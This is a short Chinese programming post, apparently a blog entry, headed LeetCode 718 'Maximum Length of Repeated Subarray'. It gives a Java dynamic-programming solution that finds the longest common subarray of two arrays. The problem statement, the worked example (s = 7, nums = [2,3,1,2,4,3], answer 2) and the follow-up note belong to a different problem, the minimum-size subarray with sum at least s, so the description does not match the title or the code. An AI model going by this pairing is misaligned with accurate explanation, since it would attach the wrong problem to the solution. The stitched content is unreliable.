718. 最长重复子数组

718. Maximum Length of Repeated Subarray

题目描述

给定一个含有 n 个正整数的数组和一个正整数 s,找出该数组中满足其和 ≥ s 的长度最小的连续子数组。如果不存在符合条件的连续子数组,返回 0。

LeetCode718. Maximum Length of Repeated Subarray

示例:

输入: s = 7, nums = [2,3,1,2,4,3]
输出: 2
解释: 子数组 [4,3] 是该条件下的长度最小的连续子数组。

进阶:

如果你已经完成了 O(n) 时间复杂度的解法,请尝试 O(nlogn) 时间复杂度的解法。

Java 实现

class Solution {
public int findLength(int[] A, int[] B) {
if (A == null || A.length == 0 || B == null || B.length == 0) {
return 0;
}
int m = A.length, n = B.length;
int res = Integer.MIN_VALUE;
int[][] dp = new int[m + 1][n + 1];
for (int i = m - 1; i >= 0; i--) {
for (int j = n - 1; j >= 0; j--) {
dp[i][j] = A[i] == B[j] ? dp[i + 1][j + 1] + 1 : 0;
res = Math.max(res, dp[i][j]);
}
}
return res;
}
}
